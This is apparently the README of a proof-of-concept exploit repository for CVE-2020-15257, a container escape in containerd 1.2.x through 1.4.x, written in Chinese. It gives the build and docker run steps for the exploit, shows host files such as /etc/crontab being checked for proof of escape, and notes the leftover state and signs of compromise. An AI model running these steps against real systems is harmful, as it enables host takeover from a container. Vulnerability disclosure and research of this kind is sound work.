本仓库包含针对 CVE-2020-15257 的概念验证漏洞利用代码,详情请参阅我们的博客文章。尽管是为 containerd 1.2.x 和 1.3.x 编写的,但该代码同样适用于 containerd 1.4.x 的预补丁版本。
$ go build
$ docker build -t abstractshimmer .
$ docker run --rm -d --network host abstractshimmer | xargs docker logs -f
$ cat /tmp/shimmer.out
$ cat /tmp/shimmer.binary
$ # 或者,对于 containerd 1.2.x
$ cat /etc/crontab
注意: 此漏洞利用会导致 Docker/containerd 状态混乱。会留下一个悬空的 containerd-shim 和 Docker 容器,需要分别杀死它们并使用 docker rm --force 进行清理。/var/lib/containerd/io.containerd.runtime.v1.linux/moby/ 和 /run/containerd/io.containerd.runtime.v1.linux/moby/ 目录下也会残留一些文件。此外,此漏洞利用不会尝试修复 containerd 的 address 文件。这可能导致在利用后尝试更新易受攻击的系统时,Docker/containerd 无法正常重启,或无法查看现有容器。如果在更新 containerd 包时遇到此情况,可能表明该系统此前已被此漏洞的某种变体攻陷。